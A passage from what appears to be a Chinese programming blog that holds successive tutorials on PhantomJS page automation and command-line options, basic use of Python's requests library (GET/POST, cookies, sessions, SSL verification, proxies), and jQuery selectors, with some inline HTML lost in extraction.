    console.log('Request ' + JSON.stringify(request, undefined, 4));
    };
    page.onResourceReceived = function(response) {
    console.log('Receive ' + JSON.stringify(response, undefined, 4));
    };
    page.open(url);

    运行结果会打印出所有资源的请求和接收状态,以 JSON 格式输出。

    页面自动化处理

    Because PhantomJS can load and manipulate a web page, it is perfect to carry out various page automations.

    因为 PhantomJS 可以加载和操作一个 web 页面,所以用来自动化处理也是非常适合的。

    DOM 操作

    Since the script is executed as if it is running on a web browser, standard DOM scripting and CSS selectors work just fine.

    脚本都是像在浏览器中运行的,所以标准的 JavaScript 的 DOM 操作和 CSS 选择器也是生效的。 例如下面的例子就修改了 User-Agent,然后还返回了页面中某元素的内容。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    var page = require('webpage').create();
    console.log('The default user agent is ' + page.settings.userAgent);
    page.settings.userAgent = 'SpecialAgent';
    page.open('http://www.httpuseragent.org', function(status) {
    if (status !== 'success') {
    console.log('Unable to access network');
    } else {
    var ua = page.evaluate(function() {
    return document.getElementById('myagent').textContent;
    });
    console.log(ua);
    }
    phantom.exit();
    });

    运行结果

    1
    2
    The default user agent is Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.0 Safari/538.1
    Your Http User Agent string is: SpecialAgent

    首先打印出了默认的 User-Agent,然后通过修改它,请求验证 User-Agent 的一个站点,通过选择器得到了修改后的 User-Agent。

    使用附加库

    在 1.6 版本之后允许添加外部的 JS 库,比如下面的例子添加了 jQuery,然后执行了 jQuery 代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var page = require('webpage').create();
    page.open('http://www.sample.com', function() {
    page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function() {
    page.evaluate(function() {
    $("button").click();
    });
    phantom.exit()
    });
    });

    引用了 jQuery 之后,我们便可以在下面写一些 jQuery 代码了。

    Webpage 对象

    在前面我们介绍了 webpage 对象的几个方法和属性,其实它本身还有其它很多的属性。具体的内容可以参考 Webpage Webpage 用例 里面介绍了 webpage 的所有属性,方法,回调。

    命令行

    Command-line Options PhantomJS 提供的命令行选项有:

    --help or -h lists all possible command-line options. Halts immediately, will not run a script passed as argument. [帮助列表] —version or -v prints out the version of PhantomJS. Halts immediately, will not run a script passed as argument. [查看版本] —cookies-file=/path/to/cookies.txt specifies the file name to store the persistent Cookies. [指定存放 cookies 的路径] —disk-cache=[true|false] enables disk cache (at desktop services cache storage location, default is false). Also accepted: [yes|no]. [硬盘缓存开关,默认为关] —ignore-ssl-errors=[true|false] ignores SSL errors, such as expired or self-signed certificate errors (default is false). Also accepted: [yes|no]. [忽略 ssl 错误,默认不忽略] —load-images=[true|false] load all inlined images (default is true). Also accepted: [yes|no]. [加载图片,默认为加载] —local-storage-path=/some/path path to save LocalStorage content and WebSQL content. [本地存储路径,如本地文件和 SQL 文件等] —local-storage-quota=number maximum size to allow for data. [本地文件最大大小] —local-to-remote-url-access=[true|false] allows local content to access remote URL (default is false). Also accepted: [yes|no]. [是否允许远程加载文件,默认不允许] —max-disk-cache-size=size limits the size of disk cache (in KB). [最大缓存空间] —output-encoding=encoding sets the encoding used for terminal output (default is utf8). [默认输出编码,默认 utf8] —remote-debugger-port starts the script in a debug harness and listens on the specified port [远程调试端口] —remote-debugger-autorun runs the script in the debugger immediately: ‘yes’ or ‘no’ (default) [在调试环境下是否立即执行脚本,默认否] —proxy=address:port specifies the proxy server to use (e.g. —proxy=192.168.1.42:8080). [代理] —proxy-type=[http|socks5|none] specifies the type of the proxy server (default is http). [代理类型,默认 http] —proxy-auth specifies the authentication information for the proxy, e.g. —proxy-auth=username:password). [代理认证] —script-encoding=encoding sets the encoding used for the starting script (default is utf8). [脚本编码,默认 utf8] —ssl-protocol=[sslv3|sslv2|tlsv1|any’] sets the SSL protocol for secure connections (default is SSLv3). [SSL 协议,默认 SSLv3] —ssl-certificates-path= Sets the location for custom CA certificates (if none set, uses system default). [SSL 证书路径,默认系统默认路径] —web-security=[true|false] enables web security and forbids cross-domain XHR (default is true). Also accepted: [yes|no]. [是否开启安全保护和禁止异站 Ajax,默认开启保护] —webdriver starts in ‘Remote WebDriver mode’ (embedded GhostDriver): ‘[[:]]’ (default ‘127.0.0.1:8910’) [以远程 WebDriver 模式启动] —webdriver-selenium-grid-hub URL to the Selenium Grid HUB: ‘URLTOHUB’ (default ‘none’) (NOTE: works only together with ‘—webdriver’) [Selenium 接口] —config=/path/to/config.json can utilize a JavaScript Object Notation (JSON) configuration file instead of passing in multiple command-line optionss [所有的命令行配置从 config.json 中读取]

    注:JSON 文件配置格式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    {
    /* Same as: --ignore-ssl-errors=true */
    "ignoreSslErrors": true,

    /* Same as: --max-disk-cache-size=1000 */
    "maxDiskCacheSize": 1000,

    /* Same as: --output-encoding=utf8 */
    "outputEncoding": "utf8"

    /* etc. */
    }

    There are some keys that do not translate directly:

    * --disk-cache => diskCacheEnabled
    * --load-images => autoLoadImages
    * --local-storage-path => offlineStoragePath
    * --local-storage-quota => offlineStorageDefaultQuota
    * --local-to-remote-url-access => localToRemoteUrlAccessEnabled
    * --web-security => webSecurityEnabled

    以上是命令行的基本配置

    实例

    在此提供官方文档实例,多对照实例练习,使用起来会更得心应手。 官方实例

    结语

    以上是博主对 PhantomJS 官方文档的基本总结和翻译,如有差错,希望大家可以指正。另外可能有的小伙伴觉得这个工具和 Python 有什么关系?不要急,后面会有 Python 和 PhantomJS 的综合使用的。

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    之前我们用了 urllib 库,这个作为入门的工具还是不错的,对了解一些爬虫的基本理念,掌握爬虫爬取的流程有所帮助。入门之后,我们就需要学习一些更加高级的内容和工具来方便我们的爬取。那么这一节来简单介绍一下 requests 库的基本用法。 注:Python 版本依然基于 2.7

    官方文档

    以下内容大多来自于官方文档,本文进行了一些修改和总结。要了解更多可以参考 官方文档

    安装

    利用 pip 安装

    1
    $ pip install requests

    或者利用 easy_install

    1
    $ easy_install requests

    通过以上两种方法均可以完成安装。

    引入

    首先我们引入一个小例子来感受一下

    1
    2
    3
    4
    5
    6
    7
    8
    import requests

    r = requests.get('http://cuiqingcai.com')
    print type(r)
    print r.status_code
    print r.encoding
    #print r.text
    print r.cookies

    以上代码我们请求了本站点的网址,然后打印出了返回结果的类型,状态码,编码方式,Cookies等内容。 运行结果如下

    1
    2
    3
    4
    <class 'requests.models.Response'>
    200
    UTF-8
    <RequestsCookieJar[]>

    怎样,是不是很方便。别急,更方便的在后面呢。

    基本请求

    requests库提供了http所有的基本请求方式。例如

    1
    2
    3
    4
    5
    r = requests.post("http://httpbin.org/post")
    r = requests.put("http://httpbin.org/put")
    r = requests.delete("http://httpbin.org/delete")
    r = requests.head("http://httpbin.org/get")
    r = requests.options("http://httpbin.org/get")

    嗯,一句话搞定。

    基本GET请求

    最基本的GET请求可以直接用get方法

    1
    r = requests.get("http://httpbin.org/get")

    如果想要加参数,可以利用 params 参数

    1
    2
    3
    4
    5
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    r = requests.get("http://httpbin.org/get", params=payload)
    print r.url

    运行结果

    1
    http://httpbin.org/get?key2=value2&key1=value1

    如果想请求JSON文件,可以利用 json() 方法解析 例如自己写一个JSON文件命名为a.json,内容如下

    1
    2
    3
    ["foo", "bar", {
    "foo": "bar"
    }]

    利用如下程序请求并解析

    1
    2
    3
    4
    5
    import requests

    r = requests.get("a.json")
    print r.text
    print r.json()

    运行结果如下,其中一个是直接输出内容,另外一个方法是利用 json() 方法解析,感受下它们的不同

    1
    2
    3
    4
    ["foo", "bar", {
    "foo": "bar"
    }]
    [u'foo', u'bar', {u'foo': u'bar'}]

    如果想获取来自服务器的原始套接字响应,可以取得 r.raw 。 不过需要在初始请求中设置 stream=True 。

    1
    2
    3
    4
    5
    r = requests.get('https://github.com/timeline.json', stream=True)
    r.raw
    <requests.packages.urllib3.response.HTTPResponse object at 0x101194810>
    r.raw.read(10)
    '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03'

    这样就获取了网页原始套接字内容。 如果想添加 headers,可以传 headers 参数

    1
    2
    3
    4
    5
    6
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    headers = {'content-type': 'application/json'}
    r = requests.get("http://httpbin.org/get", params=payload, headers=headers)
    print r.url

    通过headers参数可以增加请求头中的headers信息

    基本POST请求

    对于 POST 请求来说,我们一般需要为它增加一些参数。那么最基本的传参方法可以利用 data 这个参数。

    1
    2
    3
    4
    5
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    r = requests.post("http://httpbin.org/post", data=payload)
    print r.text

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    "args": {},
    "data": "",
    "files": {},
    "form": {
    "key1": "value1",
    "key2": "value2"
    },
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "23",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": null,
    "url": "http://httpbin.org/post"
    }

    可以看到参数传成功了,然后服务器返回了我们传的数据。 有时候我们需要传送的信息不是表单形式的,需要我们传JSON格式的数据过去,所以我们可以用 json.dumps() 方法把表单数据序列化。

    1
    2
    3
    4
    5
    6
    7
    import json
    import requests

    url = 'http://httpbin.org/post'
    payload = {'some': 'data'}
    r = requests.post(url, data=json.dumps(payload))
    print r.text

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    "args": {},
    "data": "{\"some\": \"data\"}",
    "files": {},
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "16",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": {
    "some": "data"
    },
    "url": "http://httpbin.org/post"
    }

    通过上述方法,我们可以POST JSON格式的数据 如果想要上传文件,那么直接用 file 参数即可 新建一个 a.txt 的文件,内容写上 Hello World!

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://httpbin.org/post'
    files = {'file': open('test.txt', 'rb')}
    r = requests.post(url, files=files)
    print r.text

    可以看到运行结果如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    {
    "args": {},
    "data": "",
    "files": {
    "file": "Hello World!"
    },
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "156",
    "Content-Type": "multipart/form-data; boundary=7d8eb5ff99a04c11bb3e862ce78d7000",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": null,
    "url": "http://httpbin.org/post"
    }

    这样我们便成功完成了一个文件的上传。 requests 是支持流式上传的,这允许你发送大的数据流或文件而无需先把它们读入内存。要使用流式上传,仅需为你的请求体提供一个类文件对象即可

    1
    2
    with open('massive-body') as f:
    requests.post('http://some.url/streamed', data=f)

    这是一个非常实用方便的功能。

    Cookies

    如果一个响应中包含了cookie,那么我们可以利用 cookies 变量来拿到

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://example.com'
    r = requests.get(url)
    print r.cookies
    print r.cookies['example_cookie_name']

    以上程序仅是样例,可以用 cookies 变量来得到站点的 cookies 另外可以利用 cookies 变量来向服务器发送 cookies 信息

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://httpbin.org/cookies'
    cookies = dict(cookies_are='working')
    r = requests.get(url, cookies=cookies)
    print r.text

    运行结果

    1
    '{"cookies": {"cookies_are": "working"}}'

    可以已经成功向服务器发送了 cookies

    超时配置

    可以利用 timeout 变量来配置最大请求时间

    1
    requests.get('http://github.com', timeout=0.001)

    注:timeout 仅对连接过程有效,与响应体的下载无关。 也就是说,这个时间只限制请求的时间。即使返回的 response 包含很大内容,下载需要一定时间,然而这并没有什么卵用。

    会话对象

    在以上的请求中,每次请求其实都相当于发起了一个新的请求。也就是相当于我们每个请求都用了不同的浏览器单独打开的效果。也就是它并不是指的一个会话,即使请求的是同一个网址。比如

    1
    2
    3
    4
    5
    import requests

    requests.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
    r = requests.get("http://httpbin.org/cookies")
    print(r.text)

    结果是

    1
    2
    3
    {
    "cookies": {}
    }

    很明显,这不在一个会话中,无法获取 cookies,那么在一些站点中,我们需要保持一个持久的会话怎么办呢?就像用一个浏览器逛淘宝一样,在不同的选项卡之间跳转,这样其实就是建立了一个长久会话。 解决方案如下

    1
    2
    3
    4
    5
    6
    import requests

    s = requests.Session()
    s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
    r = s.get("http://httpbin.org/cookies")
    print(r.text)

    在这里我们请求了两次,一次是设置 cookies,一次是获得 cookies 运行结果

    1
    2
    3
    4
    5
    {
    "cookies": {
    "sessioncookie": "123456789"
    }
    }

    发现可以成功获取到 cookies 了,这就是建立一个会话到作用。体会一下。 那么既然会话是一个全局的变量,那么我们肯定可以用来全局的配置了。

    1
    2
    3
    4
    5
    6
    import requests

    s = requests.Session()
    s.headers.update({'x-test': 'true'})
    r = s.get('http://httpbin.org/headers', headers={'x-test2': 'true'})
    print r.text

    通过 s.headers.update 方法设置了 headers 的变量。然后我们又在请求中设置了一个 headers,那么会出现什么结果? 很简单,两个变量都传送过去了。 运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1",
    "X-Test": "true",
    "X-Test2": "true"
    }
    }

    如果get方法传的headers 同样也是 x-test 呢?

    1
    r = s.get('http://httpbin.org/headers', headers={'x-test': 'true'})

    嗯,它会覆盖掉全局的配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1",
    "X-Test": "true"
    }
    }

    那如果不想要全局配置中的一个变量了呢?很简单,设置为 None 即可

    1
    r = s.get('http://httpbin.org/headers', headers={'x-test': None})

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    }
    }

    嗯,以上就是 session 会话的基本用法

    SSL证书验证

    现在随处可见 https 开头的网站,Requests可以为HTTPS请求验证SSL证书,就像web浏览器一样。要想检查某个主机的SSL证书,你可以使用 verify 参数 现在 12306 证书不是无效的嘛,来测试一下

    1
    2
    3
    4
    import requests

    r = requests.get('https://kyfw.12306.cn/otn/', verify=True)
    print r.text

    结果

    1
    requests.exceptions.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)

    果真如此 来试下 github 的

    1
    2
    3
    4
    import requests

    r = requests.get('https://github.com', verify=True)
    print r.text

    嗯,正常请求,内容我就不输出了。 如果我们想跳过刚才 12306 的证书验证,把 verify 设置为 False 即可

    1
    2
    3
    4
    import requests

    r = requests.get('https://kyfw.12306.cn/otn/', verify=False)
    print r.text

    发现就可以正常请求了。在默认情况下 verify 是 True,所以如果需要的话,需要手动设置下这个变量。

    代理

    如果需要使用代理,你可以通过为任意请求方法提供 proxies 参数来配置单个请求

    1
    2
    3
    4
    5
    6
    7
    import requests

    proxies = {
    "https": "http://41.118.132.69:4433"
    }
    r = requests.post("http://httpbin.org/post", proxies=proxies)
    print r.text

    也可以通过环境变量 HTTP_PROXY 和 HTTPS_PROXY 来配置代理

    1
    2
    export HTTP_PROXY="http://10.10.1.10:3128"
    export HTTPS_PROXY="http://10.10.1.10:1080"

    通过以上方式,可以方便地设置代理。

    API

    以上讲解了 requests 中最常用的参数,如果需要用到更多,请参考官方文档 API API

    结语

    以上总结了一下 requests 的基本用法,如果你对爬虫有了一定的基础,那么肯定可以很快上手,在此就不多赘述了。 练习才是王道,大家尽快投注于实践中吧。

    JavaScript

    前言

    之前在用jQuery,不过有时候用着用着一些用法发现并没有用到过,比较陌生,现在重新梳理一下,把易忽略的知识点总结一下,长期更新。 参考梳理来源: 慕课网

    sele1,sele2,seleN选择器

    有时需要精确的选择任意多个指定的元素,类似于从文具盒中挑选出多根自已喜欢的笔,就需要调用sele1,sele2,seleN选择器,它的调用格式如下: $(“sele1,sele2,seleN”) 其中参数sele1、sele2到seleN为有效选择器,每个选择器之间用“,”号隔开,它们可以是之前提及的各种类型选择器,如$(“#id”)、$(“.class”)、$(“selector”)选择器等。 例如,通过选择器获取其中的任意两个元素,并将它们显示的内容设为相同,如图所示: 在浏览器中显示的效果: 虽然页面中添加了三个元素,但是通过使用$(“div,p”)选择器方式获取了其中的

    元素,并设置它们显示的内容。

    prev + next选择器

    俗话说“远亲不如近邻”,而通过prev + next选择器就可以查找与“prev”元素紧邻的下一个“next”元素,格式如下: $(“prev + next”) 其中参数prev为任何有效的选择器,参数“next”为另外一个有效选择器,它们之间的“+”表示一种上下的层次关系,也就是说,“prev”元素最紧邻的下一个元素由“next”选择器返回的并且只返回唯的一个元素。 例如,使用prev + next选择器,获取

    元素最近邻的下一个元素,如下图所示: 在浏览器中显示的效果:

    prev ~ siblings选择器

    与上一节中介绍的prev + next层次选择器相同,prev ~ siblings选择器也是查找prev 元素之后的相邻元素,但前者只获取第一个相邻的元素,而后者则获取prev 元素后面全部相邻的元素,它的调用格式如下: $(“prev ~ siblings”) 其中参数prev与siblings两者之间通过“~”符号形成一种层次相邻的关系,表明siblings选择器获取的元素都是prev元素之后的同辈元素。 例如,使用prev ~ next选择器,获取

    元素后面相邻的全部元素,并设置它们在页面中显示的内容,如下图所示: 在浏览器中显示的效果: 可以看出,调用$("p~span")选择器代码,获取了

    元素下面两个(全部)的元素,该元素不包含

    元素上面的元素和不属于同辈范围的元素。

    :contains(text)过滤选择器

    与上一节介绍的:eq(index)选择器按索引查找元素相比,有时候我们可能希望按照文本内容来查找一个或多个元素,那么使用:contains(text)选择器会更加方便, 它的功能是选择包含指定字符串的全部元素,它通常与其他元素结合使用,获取包含“text”字符串内容的全部元素对象。其中参数text表示页面中的文字。 例如: 在浏览器中显示的效果: 从图中可以看出,调用li:contains('土豪')代码,可以很方便地获取

  • 包含‘土豪’字符内容的全部元素,并且只要与选择的元素中或子元素中包含该字符内容,就可以被选中。 注意:li:contains('土豪') 土豪为什么必须加单引号呢?因为它是一个字符串,而不是一个变量,所以不加单或双引号的话是会报错的。

    :has(selector)过滤选择器

    除了在上一小节介绍的使用包含的字符串内容过滤元素之外,还可以使用包含的元素名称来过滤,:has(selector)过滤选择器的功能是获取选择器中包含指定元素名称的全部元素,其中selector参数就是包含的元素名称,是被包含元素。 例如:获取指定包含某个元素名的全部

  • 元素,并改变它们显示文字的颜色,如下图所示: 在浏览器中显示的效果: 可以看出,通过使用$("li:has('p')")选择器代码,获取了包含

    元素的全部

  • 元素,并通过css方法改变了这些元素在页面中显示的文字样式。

    :hidden过滤选择器

    :hidden过滤选择器的功能是获取全部不可见的元素,这些不可见的元素中包括type属性值为hidden的元素。 例如,调用:hidden选择器获取不可见的

    元素,并将该元素的内容显示在

    元素中,如下图所示: 在浏览器中显示的效果: 从图中可以看出,先调用$("p:hidden")代码获取隐藏的

    元素,并调用该元素的html()方法获取该元素中的内容,最后将该内容显示在

    元素中。

    :visible过滤选择器

    与上一节的:hidden过滤选择器相反,:visible过滤选择器获取的是全部可见的元素,也就是说,只要不将元素的display属性值设置为“none”,那么,都可以通过该选择器获取。 例如,使用:visible选择器获取可见的

    元素,并将该元素的内容显示在

    元素中,如下图所示: 在浏览器中显示的效果: 从图中可以看出,调用$("p:visible")选择器代码,获取那个可见的

    元素,并调用html()方法获取该元素的内容,最后将该内容显示在

    元素中。

    :input表单选择器

    如何获取表单全部元素?:input表单选择器可以实现,它的功能是返回全部的表单元素,不仅包括所有标记的表单元素,而且还包括